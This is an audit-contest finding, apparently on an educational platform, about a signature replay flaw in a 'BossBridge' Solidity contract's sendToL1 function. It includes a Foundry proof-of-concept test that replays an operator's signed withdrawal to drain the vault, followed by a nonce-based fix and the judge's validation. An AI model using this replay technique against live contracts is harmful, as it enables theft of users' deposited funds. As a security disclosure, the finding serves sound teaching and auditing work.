Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

L1BossBridge.sol - sendToL1 - Replay attack

Summary

By looking at on-chain transaction an exploiter can see the parameters used in sendToL1 and call sendToL1 right away and replay the withdraw, leading to a vault drain.

Vulnerability Details

POC

In this poc we are only replaying twice to show case the exploit but we could potentially replay the attack until the vault is empty

function testSendToL1_POC_Replay_attack() public {
uint256 depositAmount = 10e18;
// user deposit amount so the vault has extra funds for the exploit
vm.startPrank(user);
token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
vm.startPrank(exploiter);
uint256 exploiterInitialBalance = token.balanceOf(address(exploiter));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(exploiter, userInL2, depositAmount);
// Deposit in the vault is 2 times 10e18 for user and exploiter
assertEq(token.balanceOf(address(vault)), depositAmount * 2);
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance - depositAmount);
// Operator sign the message
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(exploiter, depositAmount), operator.key);
// Exploiter withdraw once to see the correct parameters to call sendToL1
tokenBridge.withdrawTokensToL1(exploiter, depositAmount, v, r, s);
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance);
assertEq(token.balanceOf(address(vault)), depositAmount);
// POC but exploiter can find the message on chain
bytes memory message = abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), exploiter, depositAmount))
);
// Exploiter replay the attack
tokenBridge.sendToL1(v, r, s, message);
vm.stopPrank();
// Exploiter end up with more money
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance + depositAmount);
// Vault is empty
assertEq(token.balanceOf(address(vault)), 0);
vm.startPrank(user);
// User can not withdraw as the vault is empty and his deposit stolen
(uint8 v2, bytes32 r2, bytes32 s2) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.expectRevert(0x2645fa00);
tokenBridge.withdrawTokensToL1(user, depositAmount, v2, r2, s2);
vm.stopPrank();
}

Impact

Vault can be completely drained.

Tools Used

forge test

Recommendations

Make sendToL1 internal and add a nonce or a timestamp to avoid the replaying a message

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.